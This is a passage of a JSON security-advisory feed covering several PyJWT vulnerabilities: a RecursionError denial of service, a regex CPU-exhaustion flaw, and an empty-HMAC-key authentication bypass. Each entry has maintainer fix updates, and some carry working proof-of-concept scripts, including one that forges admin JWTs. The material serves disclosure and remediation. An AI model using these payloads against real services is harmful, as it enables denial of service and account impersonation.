details.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T23:53:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-gvp8-978c-rx2q","https://github.com/jpadilla/pyjwt/commit/0c87c8c8b1a74cac99ad8115f3050efcb7fbed35","https://github.com/advisories/GHSA-gvp8-978c-rx2q"],"source_kind":"github","identifiers":["GHSA-gvp8-978c-rx2q","CVE-2026-103001"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-01T00:00:10.136Z","updated_at":"2026-12-04T21:01:41.402Z","epss_percentage":0.00257,"epss_percentile":0.18526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndnA4LTk3OGMtcngycc4AB7Rk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndnA4LTk3OGMtcngycc4AB7Rk","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.11.0, \u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndnA4LTk3OGMtcngycc4AB7Rk/related_packages","related_advisories":[{"uuid":"CVE-2026-103001","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/103xxx/CVE-2026-103001.json"},{"uuid":"UBUNTU-CVE-2026-103001","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-103001"},{"uuid":"USN-9212-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9212-1"}]},{"uuid":"GSA_kwCzR0hTQS00MnZyLXhqNTQtdmM3ds4AB7Nq","url":"https://github.com/advisories/GHSA-42vr-xj54-vc7v","title":"PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)","description":"## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T15:41:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v","https://nvd.nist.gov/vuln/detail/CVE-2026-101918","https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b","https://github.com/jpadilla/pyjwt/releases/tag/2.15.0","https://github.com/advisories/GHSA-42vr-xj54-vc7v"],"source_kind":"github","identifiers":["GHSA-42vr-xj54-vc7v","CVE-2026-101918"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T16:00:09.068Z","updated_at":"2026-12-03T11:01:57.625Z","epss_percentage":0.00354,"epss_percentile":0.31072,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00MnZyLXhqNTQtdmM3ds4AB7Nq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00MnZyLXhqNTQtdmM3ds4AB7Nq","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.15.0","vulnerable_version_range":"\u003e= 2.0.0a1, \u003c= 2.14.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00MnZyLXhqNTQtdmM3ds4AB7Nq/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-101918","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-101918"},{"uuid":"UBUNTU-CVE-2026-101918","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"},{"uuid":"CVE-2026-101918","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101918.json"},{"uuid":"USN-8934-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"}]},{"uuid":"GSA_kwCzR0hTQS1qd3JjLWcycTItcHE1cM4AB7Kj","url":"https://github.com/advisories/GHSA-jwrc-g2q2-pq5p","title":"PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.","description":"### Summary\nThere is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.\n\n\n### Details\nThe problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²). \n\n\n### PoC\n```python\nimport time\nimport re\n\n\nBEGIN_LINE = b\"-----BEGIN CERTIFICATE-----\\n\"\n\n_PEMS = {\n    b\"CERTIFICATE\",\n    b\"TRUSTED CERTIFICATE\",\n    b\"PRIVATE KEY\",\n    b\"PUBLIC KEY\",\n    b\"ENCRYPTED PRIVATE KEY\",\n    b\"OPENSSH PRIVATE KEY\",\n    b\"DSA PRIVATE KEY\",\n    b\"RSA PRIVATE KEY\",\n    b\"RSA PUBLIC KEY\",\n    b\"EC PRIVATE KEY\",\n    b\"DH PARAMETERS\",\n    b\"NEW CERTIFICATE REQUEST\",\n    b\"CERTIFICATE REQUEST\",\n    b\"SSH2 PUBLIC KEY\",\n    b\"SSH2 ENCRYPTED PRIVATE KEY\",\n    b\"X509 CRL\",\n}\n\n_PEM_RE = re.compile(\n    b\"----[- ]BEGIN (\"\n    + b\"|\".join(_PEMS)\n    + b\"\"\")[- ]----\\r?\n.+?\\r?\n----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n    re.DOTALL,\n)\n\n\ndef is_pem_format(key: bytes) -\u003e bool:\n    return bool(_PEM_RE.search(key))\n\n\ndef make_payload(num_headers: int) -\u003e bytes:\n    return BEGIN_LINE * num_headers\n\n\ndef measure(num_headers: int) -\u003e float:\n    payload = make_payload(num_headers)\n    start = time.perf_counter()\n    is_pem_format(payload)  # returns False, but burns CPU getting there\n    elapsed = time.perf_counter() - start\n    print(\n        f\"  headers={num_headers:\u003e4}  size={len(payload)//1024:\u003e3} KB\"\n        f\"   time={elapsed*1000:\u003e7.1f} ms\"\n    )\n    return elapsed\n\n\nfor n in (1000, 2000, 4000, 8000):\n    measure(n)\n```\n\n### Impact\nThe attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.\n\n\n### Maintainer update (2026-09-10): \nWe reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-30T14:40:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p","https://nvd.nist.gov/vuln/detail/CVE-2026-102270","https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-jwrc-g2q2-pq5p"],"source_kind":"github","identifiers":["GHSA-jwrc-g2q2-pq5p","CVE-2026-102270"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T15:00:09.927Z","updated_at":"2026-12-03T11:01:57.640Z","epss_percentage":0.00212,"epss_percentile":0.12181,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qd3JjLWcycTItcHE1cM4AB7Kj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qd3JjLWcycTItcHE1cM4AB7Kj","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qd3JjLWcycTItcHE1cM4AB7Kj/related_packages","related_advisories":[{"uuid":"CVE-2026-102270","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102270.json"},{"uuid":"UBUNTU-CVE-2026-102270","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-102270"},{"uuid":"DEBIAN-CVE-2026-102270","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102270"}]},{"uuid":"GSA_kwCzR0hTQS05ajU0LWZnMjYtd3Yzcs4AB7FG","url":"https://github.com/advisories/GHSA-9j54-fg26-wv3r","title":"PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation","description":"### Summary\n\nA service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.\n\nPyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`.\n\nAn `oct` JWK containing an empty Base64URL key value:\n\n```json\n{\"kty\":\"oct\",\"k\":\"\"}\n```\n\nis decoded to `b\"\"`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.\n\nAn attacker can independently calculate `HMAC-SHA256(b\"\", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated.\n\nThe application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `\"k\": \"\"`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.\n\n### Details\n\nThe vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`.\n\n#### Raw empty HMAC keys are rejected\n\n[`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.\n\nAs a result, an empty raw key is rejected in PyJWT 2.13.0:\n\n```python\njwt.decode(token, b\"\", algorithms=[\"HS256\"])\n```\n\nwith `InvalidKeyError`.\n\n#### Empty `oct` JWKs decode to the same key but are accepted\n\n[`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.\n\nFor:\n\n```json\n{\n    \"kty\": \"oct\",\n    \"k\": \"\"\n}\n```\n\nthe empty Base64URL value is decoded to:\n\n```python\nb\"\"\n```\n\nand returned without an emptiness check.\n\n[`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`.\n\nThe resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path.\n\n#### `PyJWK` verification bypasses the raw-key validation\n\n[`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects.\n\nWhen a `PyJWK` is supplied, verification uses its already-decoded key directly:\n\n```python\nprepared_key = key.key\n```\n\nThe value is not passed through:\n\n```python\nalg_obj.prepare_key(key.key)\n```\n\nso the empty-key check in `HMACAlgorithm.prepare_key` is never reached.\n\nThe minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification.\n\nThe verifier therefore receives:\n\n```python\nb\"\"\n```\n\nas the HS256 key.\n\nThis creates the following difference for identical cryptographic key material:\n\n```text\nraw b\"\"\n    -\u003e HMACAlgorithm.prepare_key\n    -\u003e InvalidKeyError\n\n{\"kty\":\"oct\",\"k\":\"\"}\n    -\u003e HMACAlgorithm.from_jwk\n    -\u003e b\"\"\n    -\u003e PyJWK.key\n    -\u003e PyJWS._verify_signature\n    -\u003e HMAC verification with b\"\"\n    -\u003e accepted\n```\n\nBecause the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.\n\nThis is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.\n\nThe issue was reproduced against PyJWT 2.13.0 and commit:\n\n```text\n7144e4534c34810f4525dc4578a32addd8212cff\n```\n\nwhich was the tip of the public `master` branch at the time of testing.\n\n### PoC\n\nThe following PoC reproduces the issue on PyJWT 2.13.0.\n\nIt models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.\n\nInstall PyJWT 2.13.0:\n\n```bash\npython -m venv venv\nsource venv/bin/activate\npip install \"PyJWT==2.13.0\"\n```\n\nSave the following as `poc.py`:\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport time\nimport warnings\n\nimport jwt\nfrom jwt import PyJWKSet\nfrom jwt.exceptions import InvalidKeyError, InvalidSignatureError\n\n\ndef b64u(value: bytes) -\u003e bytes:\n    return base64.urlsafe_b64encode(value).rstrip(b\"=\")\n\n\nnow = int(time.time())\nheader = b64u(json.dumps({\"alg\": \"HS256\", \"kid\": \"active\"}, separators=(\",\", \":\")).encode())\npayload = b64u(\n    json.dumps(\n        {\"sub\": \"attacker\", \"admin\": True, \"iat\": now, \"exp\": now + 300},\n        separators=(\",\", \":\"),\n    ).encode()\n)\nsigning_input = header + b\".\" + payload\nforged = (\n    signing_input\n    + b\".\"\n    + b64u(hmac.new(b\"\", signing_input, hashlib.sha256).digest())\n).decode()\n\njwk = PyJWKSet.from_dict(\n    {\n        \"keys\": [\n            {\n                \"kty\": \"oct\",\n                \"k\": \"\",\n                \"kid\": \"active\",\n                \"alg\": \"HS256\",\n                \"use\": \"sig\",\n            }\n        ]\n    }\n)[\"active\"]\n\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\")\n    claims = jwt.decode(\n        forged,\n        jwk,\n        algorithms=[\"HS256\"],\n        options={\"require\": [\"exp\"]},\n    )\n\nassert claims[\"sub\"] == \"attacker\"\nassert claims[\"admin\"] is True\nprint(\"VULNERABLE:\", claims)\n\ntry:\n    jwt.decode(forged, b\"\", algorithms=[\"HS256\"])\nexcept InvalidKeyError:\n    print(\"CONTROL raw empty key: rejected\")\nelse:\n    raise AssertionError(\"raw empty key was accepted\")\n\ntry:\n    jwt.decode(\n        forged,\n        jwk,\n        algorithms=[\"HS256\"],\n        options={\"enforce_minimum_key_length\": True},\n    )\nexcept InvalidKeyError:\n    print(\"CONTROL strict PyJWK: rejected\")\nelse:\n    raise AssertionError(\"strict PyJWK was accepted\")\n\nreal_key = PyJWKSet.from_dict(\n    {\n        \"keys\": [\n            {\n                \"kty\": \"oct\",\n                \"k\": \"cmVhbC1zZWNyZXQ\",\n                \"kid\": \"active\",\n                \"alg\": \"HS256\",\n            }\n        ]\n    }\n)[\"active\"]\n\ntry:\n    with warnings.catch_warnings():\n        warnings.simplefilter(\"ignore\")\n        jwt.decode(forged, real_key, algorithms=[\"HS256\"])\nexcept InvalidSignatureError:\n    print(\"CONTROL non-empty PyJWK: rejected\")\nelse:\n    raise AssertionError(\"non-empty PyJWK accepted an empty-key forgery\")\n```\n\nRun:\n\n```bash\npython poc.py\n```\n\nObserved output:\n\n```text\nVULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': \u003cnow\u003e, 'exp': \u003cnow+300\u003e}\nCONTROL raw empty key: rejected\nCONTROL strict PyJWK: rejected\nCONTROL non-empty PyJWK: rejected\n```\n\nThe first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`.\n\nThe first control supplies the same key material directly as `b\"\"`. PyJWT 2.13.0 rejects it with `InvalidKeyError`.\n\nThe second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`.\n\nThe third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`.\n\nI also reproduced the result through the following verification paths:\n\n```python\njwt.decode(token, PyJWK, algorithms=[\"HS256\"])\njwt.decode(token, PyJWK)\njwt.PyJWT().decode(token, PyJWK, algorithms=[\"HS256\"])\nPyJWS().decode(token, PyJWK, algorithms=[\"HS256\"])\n```\n\nAll accepted an HS256 token whose signature was generated using the zero-length HMAC key.\n\nAs an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key.\n\n### Impact\n\nThis is an authentication bypass caused by inconsistent validation of empty HMAC keys.\n\nAffected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.\n\nFor example, an application could and produces:\n\n```json\n{\n    \"kty\": \"oct\",\n    \"k\": \"\",\n    \"kid\": \"active\",\n    \"alg\": \"HS256\"\n}\n```\n\nwhen the expected Base64URL secret value is missing.\n\nOnce this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b\"\"` and can therefore calculate a valid HMAC for any signing input.\n\nThe attacker can choose arbitrary claims such as:\n\n```json\n{\n    \"sub\": \"attacker\",\n    \"admin\": true,\n    \"exp\": 1787100000\n}\n```\n\nand produce a signature that PyJWT accepts as valid.\n\nDepending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.\n\nValidation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.\n\nThe attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N\n\n## Maintainer update — 2026-09-09\n\nWe reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b\"\"`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.\n\nThis is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.\n\nThe fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm's `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered.\n\nThe full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.\n\nThe fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.\n\n## Classification update — 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched 